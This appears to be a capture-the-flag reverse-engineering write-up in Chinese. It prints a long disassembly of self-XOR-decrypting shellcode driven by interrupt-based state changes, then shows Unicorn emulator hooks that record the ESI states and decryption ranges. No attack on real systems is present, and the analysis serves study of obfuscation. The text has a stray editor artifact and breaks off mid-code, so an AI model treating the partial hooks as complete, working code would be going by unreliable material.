fa3: f7 ff idiv edi
fa5: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
faa: 30 04 0e xor BYTE PTR [esi+ecx*1], al
fad: 83 c1 01 add ecx, 0x1
fb0: 83 f9 59 cmp ecx, 0x59
fb3: 75 eb jne 0xfa0
fb5: cd 60 int 0x60
fb7: be 45 00 00 00 mov esi, 0x45
fbc: e9 2c f4 ff ff jmp 0x3ed
fc1: 8d 74 24 0d lea esi, [esp+0xd]
fc5: b9 13 00 00 00 mov ecx, 0x13
fca: bf 2f 00 00 00 mov edi, 0x2f
fcf: 89 c8 mov eax, ecx
fd1: 99 cdq
fd2: f7 ff idiv edi
fd4: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
fd9: 30 04 0e xor BYTE PTR [esi+ecx*1], al
fdc: 83 c1 01 add ecx, 0x1
fdf: 83 f9 27 cmp ecx, 0x27
fe2: 75 eb jne 0xfcf
fe4: cd 24 int 0x24
fe6: be 3f 00 00 00 mov esi, 0x3f
feb: e9 fd f3 ff ff jmp 0x3ed
ff0: 8d 4c 24 0b lea ecx, [esp+0xb]
ff4: be 15 00 00 00 mov esi, 0x15
ff9: bf 2f 00 00 00 mov edi, 0x2f
ffe: 89 f0 mov eax, esi
1000: 99 cdq
1001: f7 ff idiv edi
1003: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
1008: 30 04 31 xor BYTE PTR [ecx+esi*1], al
100b: 83 c6 01 add esi, 0x1
100e: 83 fe 2b cmp esi, 0x2b
1011: 75 eb jne 0xffe
1013: cd 15 int 0x15
1015: be 5c 00 00 00 mov esi, 0x5c
101a: e9 ce f3 ff ff jmp 0x3ed
101f: 8d 4c 24 f8 lea ecx, [esp-0x8]
1023: be 28 00 00 00 mov esi, 0x28
1028: bf 2f 00 00 00 mov edi, 0x2f
102d: 89 f0 mov eax, esi
102f: 99 cdq
1030: f7 ff idiv edi
1032: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
1037: 30 04 31 xor BYTE PTR [ecx+esi*1], al
103a: 83 c6 01 add esi, 0x1
103d: 83 fe 51 cmp esi, 0x51
1040: 75 eb jne 0x102d
1042: cd 59 int 0x59
1044: be 5e 00 00 00 mov esi, 0x5e
1049: e9 9f f3 ff ff jmp 0x3ed
104e: 8d 4c 24 12 lea ecx, [esp+0x12]
1052: be 0e 00 00 00 mov esi, 0xe
1057: bf 2f 00 00 00 mov edi, 0x2f
105c: 89 f0 mov eax, esi
105e: 99 cdq
105f: f7 ff idiv edi
1061: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
1066: 30 04 31 xor BYTE PTR [ecx+esi*1], al
1069: 83 c6 01 add esi, 0x1
106c: 83 fe 1d cmp esi, 0x1d
106f: 75 eb jne 0x105c
1071: cd 0e int 0xe
1073: be 16 00 00 00 mov esi, 0x16
1078: e9 70 f3 ff ff jmp 0x3ed
107d: 8d 74 24 19 lea esi, [esp+0x19]
1081: b9 07 00 00 00 mov ecx, 0x7
1086: bf 2f 00 00 00 mov edi, 0x2f
108b: 89 c8 mov eax, ecx
108d: 99 cdq
108e: f7 ff idiv edi
1090: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
1095: 30 04 0e xor BYTE PTR [esi+ecx*1], al
1098: 83 c1 01 add ecx, 0x1
109b: 83 f9 0f cmp ecx, 0xf
109e: 75 eb jne 0x108b
10a0: cd 42 int 0x42
10a2: be 37 00 00 00 mov esi, 0x37
10a7: e9 41 f3 ff ff jmp 0x3ed
10ac: 8d 74 24 15 lea esi, [esp+0x15]
10b0: b9 0b 00 00 00 mov ecx, 0xb
10b5: bf 2f 00 00 00 mov edi, 0x2f
10ba: 89 c8 mov eax, ecx
10bc: 99 cdq
10bd: f7 ff idiv edi
10bf: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
10c4: 30 04 0e xor BYTE PTR [esi+ecx*1], al
10c7: 83 c1 01 add ecx, 0x1
10ca: 83 f9 17 cmp ecx, 0x17:q

    10cd:       75 eb                   jne    0x10ba
    10cf:       0f a2                   cpuid
    10d1:       be 2e 00 00 00          mov    esi, 0x2e
    10d6:       e9 12 f3 ff ff          jmp    0x3ed
    10db:       8d 4c 24 08             lea    ecx, [esp+0x8]
    10df:       be 18 00 00 00          mov    esi, 0x18
    10e4:       bf 2f 00 00 00          mov    edi, 0x2f
    10e9:       89 f0                   mov    eax, esi
    10eb:       99                      cdq
    10ec:       f7 ff                   idiv   edi
    10ee:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    10f3:       30 04 31                xor    BYTE PTR [ecx+esi*1], al
    10f6:       83 c6 01                add    esi, 0x1
    10f9:       83 fe 31                cmp    esi, 0x31
    10fc:       75 eb                   jne    0x10e9
    10fe:       cd 3b                   int    0x3b
    1100:       be 1f 00 00 00          mov    esi, 0x1f
    1105:       e9 e3 f2 ff ff          jmp    0x3ed
    110a:       8d 4c 24 0a             lea    ecx, [esp+0xa]
    110e:       be 16 00 00 00          mov    esi, 0x16
    1113:       bf 2f 00 00 00          mov    edi, 0x2f
    1118:       89 f0                   mov    eax, esi
    111a:       99                      cdq
    111b:       f7 ff                   idiv   edi
    111d:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    1122:       30 04 31                xor    BYTE PTR [ecx+esi*1], al
    1125:       83 c6 01                add    esi, 0x1
    1128:       83 fe 2d                cmp    esi, 0x2d
    112b:       75 eb                   jne    0x1118
    112d:       cd 16                   int    0x16
    112f:       be 25 00 00 00          mov    esi, 0x25
    1134:       e9 b4 f2 ff ff          jmp    0x3ed
    1139:       8d 74 24 f4             lea    esi, [esp-0xc]
    113d:       b9 2c 00 00 00          mov    ecx, 0x2c
    1142:       bf 2f 00 00 00          mov    edi, 0x2f
    1147:       89 c8                   mov    eax, ecx
    1149:       99                      cdq
    114a:       f7 ff                   idiv   edi
    114c:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    1151:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al
    1154:       83 c1 01                add    ecx, 0x1
    1157:       83 f9 59                cmp    ecx, 0x59
    115a:       75 eb                   jne    0x1147
    115c:       cd 0c                   int    0xc
    115e:       be 48 00 00 00          mov    esi, 0x48
    1163:       e9 85 f2 ff ff          jmp    0x3ed
    1168:       8d 74 24 03             lea    esi, [esp+0x3]
    116c:       b9 1d 00 00 00          mov    ecx, 0x1d
    1171:       bf 2f 00 00 00          mov    edi, 0x2f
    1176:       89 c8                   mov    eax, ecx
    1178:       99                      cdq
    1179:       f7 ff                   idiv   edi
    117b:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    1180:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al
    1183:       83 c1 01                add    ecx, 0x1
    1186:       83 f9 3b                cmp    ecx, 0x3b
    1189:       75 eb                   jne    0x1176
    118b:       cd 64                   int    0x64
    118d:       be 17 00 00 00          mov    esi, 0x17
    1192:       e9 56 f2 ff ff          jmp    0x3ed
    1197:       8d 74 24 fa             lea    esi, [esp-0x6]
    119b:       b9 26 00 00 00          mov    ecx, 0x26
    11a0:       bf 2f 00 00 00          mov    edi, 0x2f
    11a5:       89 c8                   mov    eax, ecx
    11a7:       99                      cdq
    11a8:       f7 ff                   idiv   edi
    11aa:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    11af:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al
    11b2:       83 c1 01                add    ecx, 0x1
    11b5:       83 f9 4d                cmp    ecx, 0x4d
    11b8:       75 eb                   jne    0x11a5
    11ba:       cd 22                   int    0x22
    11bc:       be 3e 00 00 00          mov    esi, 0x3e
    11c1:       e9 27 f2 ff ff          jmp    0x3ed
    11c6:       8d 4c 24 0f             lea    ecx, [esp+0xf]
    11ca:       be 11 00 00 00          mov    esi, 0x11
    11cf:       bf 2f 00 00 00          mov    edi, 0x2f
    11d4:       89 f0                   mov    eax, esi
    11d6:       99                      cdq
    11d7:       f7 ff                   idiv   edi
    11d9:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    11de:       30 04 31                xor    BYTE PTR [ecx+esi*1], al
    11e1:       83 c6 01                add    esi, 0x1
    11e4:       83 fe 23                cmp    esi, 0x23
    11e7:       75 eb                   jne    0x11d4
    11e9:       cd 29                   int    0x29
    11eb:       be 58 00 00 00          mov    esi, 0x58
    11f0:       e9 f8 f1 ff ff          jmp    0x3ed
    11f5:       8d 74 24 1a             lea    esi, [esp+0x1a]
    11f9:       b9 06 00 00 00          mov    ecx, 0x6
    11fe:       bf 2f 00 00 00          mov    edi, 0x2f
    1203:       89 c8                   mov    eax, ecx
    1205:       99                      cdq
    1206:       f7 ff                   idiv   edi
    1208:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    120d:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al
    1210:       83 c1 01                add    ecx, 0x1
    1213:       83 f9 0d                cmp    ecx, 0xd
    1216:       75 eb                   jne    0x1203
    1218:       cd 27                   int    0x27
    121a:       be 56 00 00 00          mov    esi, 0x56
    121f:       e9 c9 f1 ff ff          jmp    0x3ed
    1224:       8d 4c 24 f7             lea    ecx, [esp-0x9]
    1228:       be 29 00 00 00          mov    esi, 0x29
    122d:       bf 2f 00 00 00          mov    edi, 0x2f
    1232:       89 f0                   mov    eax, esi
    1234:       99                      cdq
    1235:       f7 ff                   idiv   edi
    1237:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    123c:       30 04 31                xor    BYTE PTR [ecx+esi*1], al
    123f:       83 c6 01                add    esi, 0x1
    1242:       83 fe 53                cmp    esi, 0x53
    1245:       75 eb                   jne    0x1232
    1247:       cd 20                   int    0x20
    1249:       be 55 00 00 00          mov    esi, 0x55
    124e:       e9 9a f1 ff ff          jmp    0x3ed
    1253:       8d 4c 24 08             lea    ecx, [esp+0x8]
    1257:       be 18 00 00 00          mov    esi, 0x18
    125c:       bf 2f 00 00 00          mov    edi, 0x2f
    1261:       89 f0                   mov    eax, esi
    1263:       99                      cdq
    1264:       f7 ff                   idiv   edi
    1266:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    126b:       30 04 31                xor    BYTE PTR [ecx+esi*1], al
    126e:       83 c6 01                add    esi, 0x1
    1271:       83 fe 31                cmp    esi, 0x31
    1274:       75 eb                   jne    0x1261
    1276:       cd 1b                   int    0x1b
    1278:       be 62 00 00 00          mov    esi, 0x62
    127d:       e9 6b f1 ff ff          jmp    0x3ed
    1282:       8d 4c 24 0b             lea    ecx, [esp+0xb]
    1286:       be 15 00 00 00          mov    esi, 0x15
    128b:       bf 2f 00 00 00          mov    edi, 0x2f
    1290:       89 f0                   mov    eax, esi
    1292:       99                      cdq
    1293:       f7 ff                   idiv   edi
    1295:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    129a:       30 04 31                xor    BYTE PTR [ecx+esi*1], al
    129d:       83 c6 01                add    esi, 0x1
    12a0:       83 fe 2b                cmp    esi, 0x2b
    12a3:       75 eb                   jne    0x1290
    12a5:       cd 40                   int    0x40
    12a7:       be 2d 00 00 00          mov    esi, 0x2d
    12ac:       e9 3c f1 ff ff          jmp    0x3ed
    12b1:       8d 4c 24 13             lea    ecx, [esp+0x13]
    12b5:       be 0d 00 00 00          mov    esi, 0xd
    12ba:       bf 2f 00 00 00          mov    edi, 0x2f
    12bf:       89 f0                   mov    eax, esi
    12c1:       99                      cdq
    12c2:       f7 ff                   idiv   edi
    12c4:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    12c9:       30 04 31                xor    BYTE PTR [ecx+esi*1], al
    12cc:       83 c6 01                add    esi, 0x1
    12cf:       83 fe 1b                cmp    esi, 0x1b
    12d2:       75 eb                   jne    0x12bf
    12d4:       cd 4e                   int    0x4e
    12d6:       be 35 00 00 00          mov    esi, 0x35
    12db:       e9 0d f1 ff ff          jmp    0x3ed
    12e0:       b9 20 00 00 00          mov    ecx, 0x20
    12e5:       89 e6                   mov    esi, esp
    12e7:       bf 2f 00 00 00          mov    edi, 0x2f
    12ec:       89 c8                   mov    eax, ecx
    12ee:       99                      cdq
    12ef:       f7 ff                   idiv   edi
    12f1:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    12f6:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al
    12f9:       83 c1 01                add    ecx, 0x1
    12fc:       83 f9 41                cmp    ecx, 0x41
    12ff:       75 eb                   jne    0x12ec
    1301:       cd 0d                   int    0xd
    1303:       be 39 00 00 00          mov    esi, 0x39
    1308:       e9 e0 f0 ff ff          jmp    0x3ed
    130d:       8d 74 24 06             lea    esi, [esp+0x6]
    1311:       b9 1a 00 00 00          mov    ecx, 0x1a
    1316:       bf 2f 00 00 00          mov    edi, 0x2f
    131b:       89 c8                   mov    eax, ecx
    131d:       99                      cdq
    131e:       f7 ff                   idiv   edi
    1320:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    1325:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al
    1328:       83 c1 01                add    ecx, 0x1
    132b:       83 f9 35                cmp    ecx, 0x35
    132e:       75 eb                   jne    0x131b
    1330:       cd 41                   int    0x41
    1332:       be 5f 00 00 00          mov    esi, 0x5f
    1337:       e9 b1 f0 ff ff          jmp    0x3ed
    133c:       8d 4c 24 08             lea    ecx, [esp+0x8]
    1340:       be 18 00 00 00          mov    esi, 0x18
    1345:       bf 2f 00 00 00          mov    edi, 0x2f
    134a:       89 f0                   mov    eax, esi
    134c:       99                      cdq
    134d:       f7 ff                   idiv   edi
    134f:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    1354:       30 04 31                xor    BYTE PTR [ecx+esi*1], al
    1357:       83 c6 01                add    esi, 0x1
    135a:       83 fe 31                cmp    esi, 0x31
    135d:       75 eb                   jne    0x134a
    135f:       cd 1e                   int    0x1e
    1361:       be 42 00 00 00          mov    esi, 0x42
    1366:       e9 82 f0 ff ff          jmp    0x3ed
    136b:       8d 74 24 03             lea    esi, [esp+0x3]
    136f:       b9 1d 00 00 00          mov    ecx, 0x1d
    1374:       bf 2f 00 00 00          mov    edi, 0x2f
    1379:       89 c8                   mov    eax, ecx
    137b:       99                      cdq
    137c:       f7 ff                   idiv   edi
    137e:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    1383:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al
    1386:       83 c1 01                add    ecx, 0x1
    1389:       83 f9 3b                cmp    ecx, 0x3b
    138c:       75 eb                   jne    0x1379
    138e:       cd 55                   int    0x55
    1390:       be 32 00 00 00          mov    esi, 0x32
    1395:       e9 53 f0 ff ff          jmp    0x3ed
    139a:       8d 74 24 17             lea    esi, [esp+0x17]
    139e:       b9 09 00 00 00          mov    ecx, 0x9
    13a3:       bf 2f 00 00 00          mov    edi, 0x2f
    13a8:       89 c8                   mov    eax, ecx
    13aa:       99                      cdq
    13ab:       f7 ff                   idiv   edi
    13ad:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    13b2:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al
    13b5:       83 c1 01                add    ecx, 0x1
    13b8:       83 f9 13                cmp    ecx, 0x13
    13bb:       75 eb                   jne    0x13a8
    13bd:       cd 5f                   int    0x5f
    13bf:       be 2b 00 00 00          mov    esi, 0x2b
    13c4:       e9 24 f0 ff ff          jmp    0x3ed
    13c9:       8d 74 24 1a             lea    esi, [esp+0x1a]
    13cd:       b9 06 00 00 00          mov    ecx, 0x6
    13d2:       bf 2f 00 00 00          mov    edi, 0x2f
    13d7:       89 c8                   mov    eax, ecx
    13d9:       99                      cdq
    13da:       f7 ff                   idiv   edi
    13dc:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    13e1:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al
    13e4:       83 c1 01                add    ecx, 0x1
    13e7:       83 f9 0d                cmp    ecx, 0xd
    13ea:       75 eb                   jne    0x13d7
    13ec:       cd 32                   int    0x32
    13ee:       be 06 00 00 00          mov    esi, 0x6
    13f3:       e9 f5 ef ff ff          jmp    0x3ed
    13f8:       8d 4c 24 f8             lea    ecx, [esp-0x8]
    13fc:       be 28 00 00 00          mov    esi, 0x28
    1401:       bf 2f 00 00 00          mov    edi, 0x2f
    1406:       89 f0                   mov    eax, esi
    1408:       99                      cdq
    1409:       f7 ff                   idiv   edi
    140b:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    1410:       30 04 31                xor    BYTE PTR [ecx+esi*1], al
    1413:       83 c6 01                add    esi, 0x1
    1416:       83 fe 51                cmp    esi, 0x51
    1419:       75 eb                   jne    0x1406
    141b:       cd 61                   int    0x61
    141d:       be 27 00 00 00          mov    esi, 0x27
    1422:       e9 c6 ef ff ff          jmp    0x3ed
    1427:       b9 20 00 00 00          mov    ecx, 0x20
    142c:       89 e6                   mov    esi, esp
    142e:       bf 2f 00 00 00          mov    edi, 0x2f
    1433:       89 c8                   mov    eax, ecx
    1435:       99                      cdq
    1436:       f7 ff                   idiv   edi
    1438:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    143d:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al
    1440:       83 c1 01                add    ecx, 0x1
    1443:       83 f9 41                cmp    ecx, 0x41
    1446:       75 eb                   jne    0x1433
    1448:       cd 10                   int    0x10
    144a:       be 5d 00 00 00          mov    esi, 0x5d
    144f:       e9 99 ef ff ff          jmp    0x3ed
    1454:       8d 74 24 f5             lea    esi, [esp-0xb]
    1458:       b9 2b 00 00 00          mov    ecx, 0x2b
    145d:       bf 2f 00 00 00          mov    edi, 0x2f
    1462:       89 c8                   mov    eax, ecx
    1464:       99                      cdq
    1465:       f7 ff                   idiv   edi
    1467:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    146c:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al
    146f:       83 c1 01                add    ecx, 0x1
    1472:       83 f9 57                cmp    ecx, 0x57
    1475:       75 eb                   jne    0x1462
    1477:       cd 38                   int    0x38
    1479:       be 31 00 00 00          mov    esi, 0x31
    147e:       e9 6a ef ff ff          jmp    0x3ed
    1483:       8d 4c 24 08             lea    ecx, [esp+0x8]
    1487:       be 18 00 00 00          mov    esi, 0x18
    148c:       bf 2f 00 00 00          mov    edi, 0x2f
    1491:       89 f0                   mov    eax, esi
    1493:       99                      cdq
    1494:       f7 ff                   idiv   edi
    1496:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    149b:       30 04 31                xor    BYTE PTR [ecx+esi*1], al
    149e:       83 c6 01                add    esi, 0x1
    14a1:       83 fe 31                cmp    esi, 0x31
    14a4:       75 eb                   jne    0x1491
    14a6:       cd 36                   int    0x36
    14a8:       be 23 00 00 00          mov    esi, 0x23
    14ad:       e9 3b ef ff ff          jmp    0x3ed
    14b2:       b9 17 00 00 00          mov    ecx, 0x17
    14b7:       be 2f 00 00 00          mov    esi, 0x2f
    14bc:       89 c8                   mov    eax, ecx
    14be:       99                      cdq
    14bf:       f7 fe                   idiv   esi
    14c1:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    14c6:       30 44 0c 09             xor    BYTE PTR [esp+ecx*1+0x9], al
    14ca:       83 c1 01                add    ecx, 0x1
    14cd:       83 f9 2f                cmp    ecx, 0x2f
    14d0:       75 ea                   jne    0x14bc
    14d2:       cd 21                   int    0x21
    14d4:       be 4f 00 00 00          mov    esi, 0x4f
    14d9:       e9 0f ef ff ff          jmp    0x3ed
    14de:       8d 4c 24 08             lea    ecx, [esp+0x8]
    14e2:       be 18 00 00 00          mov    esi, 0x18
    14e7:       bf 2f 00 00 00          mov    edi, 0x2f
    14ec:       89 f0                   mov    eax, esi
    14ee:       99                      cdq
    14ef:       f7 ff                   idiv   edi
    14f1:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    14f6:       30 04 31                xor    BYTE PTR [ecx+esi*1], al
    14f9:       83 c6 01                add    esi, 0x1
    14fc:       83 fe 31                cmp    esi, 0x31
    14ff:       75 eb                   jne    0x14ec
    1501:       cd 4a                   int    0x4a
    1503:       be 34 00 00 00          mov    esi, 0x34
    1508:       e9 e0 ee ff ff          jmp    0x3ed
    150d:       8d 4c 24 1e             lea    ecx, [esp+0x1e]
    1511:       be 02 00 00 00          mov    esi, 0x2
    1516:       bf 2f 00 00 00          mov    edi, 0x2f
    151b:       89 f0                   mov    eax, esi
    151d:       99                      cdq
    151e:       f7 ff                   idiv   edi
    1520:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    1525:       30 04 31                xor    BYTE PTR [ecx+esi*1], al
    1528:       83 c6 01                add    esi, 0x1
    152b:       83 fe 05                cmp    esi, 0x5
    152e:       75 eb                   jne    0x151b
    1530:       cd 2a                   int    0x2a
    1532:       be 19 00 00 00          mov    esi, 0x19
    1537:       e9 b1 ee ff ff          jmp    0x3ed
    153c:       8d 4c 24 0f             lea    ecx, [esp+0xf]
    1540:       be 11 00 00 00          mov    esi, 0x11
    1545:       bf 2f 00 00 00          mov    edi, 0x2f
    154a:       89 f0                   mov    eax, esi
    154c:       99                      cdq
    154d:       f7 ff                   idiv   edi
    154f:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    1554:       30 04 31                xor    BYTE PTR [ecx+esi*1], al
    1557:       83 c6 01                add    esi, 0x1
    155a:       83 fe 23                cmp    esi, 0x23
    155d:       75 eb                   jne    0x154a
    155f:       cd 47                   int    0x47
    1561:       be 08 00 00 00          mov    esi, 0x8
    1566:       e9 82 ee ff ff          jmp    0x3ed
    156b:       b9 0f 00 00 00          mov    ecx, 0xf
    1570:       be 2f 00 00 00          mov    esi, 0x2f
    1575:       89 c8                   mov    eax, ecx
    1577:       99                      cdq
    1578:       f7 fe                   idiv   esi
    157a:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    157f:       30 44 0c 11             xor    BYTE PTR [esp+ecx*1+0x11], al
    1583:       83 c1 01                add    ecx, 0x1
    1586:       83 f9 1f                cmp    ecx, 0x1f
    1589:       75 ea                   jne    0x1575
    158b:       cd 3e                   int    0x3e
    158d:       be 15 00 00 00          mov    esi, 0x15
    1592:       e9 56 ee ff ff          jmp    0x3ed
    1597:       b9 19 00 00 00          mov    ecx, 0x19
    159c:       be 2f 00 00 00          mov    esi, 0x2f
    15a1:       89 c8                   mov    eax, ecx
    15a3:       99                      cdq
    15a4:       f7 fe                   idiv   esi
    15a6:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    15ab:       30 44 0c 07             xor    BYTE PTR [esp+ecx*1+0x7], al
    15af:       83 c1 01                add    ecx, 0x1
    15b2:       83 f9 33                cmp    ecx, 0x33
    15b5:       75 ea                   jne    0x15a1
    15b7:       cd 1d                   int    0x1d
    15b9:       be 03 00 00 00          mov    esi, 0x3
    15be:       e9 2a ee ff ff          jmp    0x3ed
    15c3:       8d 4c 24 12             lea    ecx, [esp+0x12]
    15c7:       be 0e 00 00 00          mov    esi, 0xe
    15cc:       bf 2f 00 00 00          mov    edi, 0x2f
    15d1:       89 f0                   mov    eax, esi
    15d3:       99                      cdq
    15d4:       f7 ff                   idiv   edi
    15d6:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    15db:       30 04 31                xor    BYTE PTR [ecx+esi*1], al
    15de:       83 c6 01                add    esi, 0x1
    15e1:       83 fe 1d                cmp    esi, 0x1d
    15e4:       75 eb                   jne    0x15d1
    15e6:       cd 2e                   int    0x2e
    15e8:       be 61 00 00 00          mov    esi, 0x61
    15ed:       e9 fb ed ff ff          jmp    0x3ed
    15f2:       8d 4c 24 1e             lea    ecx, [esp+0x1e]
    15f6:       be 02 00 00 00          mov    esi, 0x2
    15fb:       bf 2f 00 00 00          mov    edi, 0x2f
    1600:       89 f0                   mov    eax, esi
    1602:       99                      cdq
    1603:       f7 ff                   idiv   edi
    1605:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    160a:       30 04 31                xor    BYTE PTR [ecx+esi*1], al
    160d:       83 c6 01                add    esi, 0x1
    1610:       83 fe 05                cmp    esi, 0x5
    1613:       75 eb                   jne    0x1600
    1615:       cd 11                   int    0x11
    1617:       be 1c 00 00 00          mov    esi, 0x1c
    161c:       e9 cc ed ff ff          jmp    0x3ed
    1621:       8d 4c 24 0b             lea    ecx, [esp+0xb]
    1625:       be 15 00 00 00          mov    esi, 0x15
    162a:       bf 2f 00 00 00          mov    edi, 0x2f
    162f:       89 f0                   mov    eax, esi
    1631:       99                      cdq
    1632:       f7 ff                   idiv   edi
    1634:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]
    1639:       30 04 31                xor    BYTE PTR [ecx+esi*1], al
    163c:       83 c6 01                add    esi, 0x1
    163f:       83 fe 2b                cmp    esi, 0x2b
    1642:       75 eb                   jne    0x162f
    1644:       cd 3f                   int    0x3f
    1646:       be 22 00 00 00          mov    esi, 0x22
    164b:       e9                      .byte 0xe9
    ```

主要可以知道的是shellcode 會根據ESI的狀態跳到對應的地方並且進行區間跟自己的xor

因此我們需要先抓所有eip所變化的所有狀態

```python
def hook_exception(uc, exception_type, user_data):
    global ck,cmp_collet
    if ck == 1 and exception_type == 0x2d:
        #uc.emu_stop()
        return 0
    if exception_type == 0x2d:
        ck = 1

    EIP = ADDRESS_CODE
    ESI = exception_type
    print(f"[STATE] ESI ← 0x{exception_type:02X}")
    cmp_collet=False
    uc.reg_write(UC_X86_REG_EIP, EIP)
    uc.reg_write(UC_X86_REG_ESI, ESI)
    return 0

先把ESI的每個狀態輸出出來

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
[STATE] ESI ← 0x61
[STATE] ESI ← 0x10
[STATE] ESI ← 0x37
[STATE] ESI ← 0x1F
[STATE] ESI ← 0x31
[STATE] ESI ← 0x13
[STATE] ESI ← 0x56
[STATE] ESI ← 0x54
[STATE] ESI ← 0x2D
[STATE] ESI ← 0x36
[STATE] ESI ← 0x12
[STATE] ESI ← 0x40
[STATE] ESI ← 0x0E
[STATE] ESI ← 0x39
[STATE] ESI ← 0x0F
[STATE] ESI ← 0x03
[STATE] ESI ← 0x27
[STATE] ESI ← 0x18
[STATE] ESI ← 0x58
[STATE] ESI ← 0x3B
[STATE] ESI ← 0x55
[STATE] ESI ← 0x48
[STATE] ESI ← 0x0A
[STATE] ESI ← 0x1C
[STATE] ESI ← 0x1B
[STATE] ESI ← 0x2F
[STATE] ESI ← 0x5C
[STATE] ESI ← 0x20
[STATE] ESI ← 0x2B
[STATE] ESI ← 0x50
[STATE] ESI ← 0x44
[STATE] ESI ← 0x2E
[STATE] ESI ← 0x1D
[STATE] ESI ← 0x5E
[STATE] ESI ← 0x21
[STATE] ESI ← 0x47
[STATE] ESI ← 0x17
[STATE] ESI ← 0x01
[STATE] ESI ← 0x52
[STATE] ESI ← 0x3F
[STATE] ESI ← 0x16
[STATE] ESI ← 0x4C
[STATE] ESI ← 0x0D
[STATE] ESI ← 0x23
[STATE] ESI ← 0x34
[STATE] ESI ← 0x49
[STATE] ESI ← 0x43
[STATE] ESI ← 0x28
[STATE] ESI ← 0x30
[STATE] ESI ← 0x33
[STATE] ESI ← 0x4A
[STATE] ESI ← 0x0B
[STATE] ESI ← 0x4B
[STATE] ESI ← 0x32
[STATE] ESI ← 0x24
[STATE] ESI ← 0x51
[STATE] ESI ← 0x4D
[STATE] ESI ← 0x64
[STATE] ESI ← 0x5A
[STATE] ESI ← 0x3A
[STATE] ESI ← 0x04
[STATE] ESI ← 0x26
[STATE] ESI ← 0x35
[STATE] ESI ← 0x46
[STATE] ESI ← 0x60
[STATE] ESI ← 0x11
[STATE] ESI ← 0x07
[STATE] ESI ← 0x3E
[STATE] ESI ← 0x45
[STATE] ESI ← 0x2A
[STATE] ESI ← 0x19
[STATE] ESI ← 0x4E
[STATE] ESI ← 0x22
[STATE] ESI ← 0x5F
[STATE] ESI ← 0x25
[STATE] ESI ← 0x41
[STATE] ESI ← 0x53
[STATE] ESI ← 0x2C
[STATE] ESI ← 0x09
[STATE] ESI ← 0x3C
[STATE] ESI ← 0x1E
[STATE] ESI ← 0x14

接下來要取得xor會從哪裡到哪裡，在shellcode中是使用mov esi XXX 以及cmp ecx YYY ，代表XXX 到YYY 進行xor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def hook_mov_esi(uc, address, size, user_data):
    # 读出当前指令的机器码
    global cmp_collet
    mc = uc.mem_read(address, size)
    # 机器码前 1 字节是 0xBE (mov esi, imm32)，后面 4 字节是 little-endian 的 imm32
    if mc[0] == 0xBE:
        imm = int.from_bytes(mc[1:5], 'little')
        print(f"[HOOK MOV] @0x{address:08x}: mov esi, {hex(imm)}")
        cmp_collet = False
    if mc[0] == 0xB9:
        imm = int.from_bytes(mc[1:5], 'little')
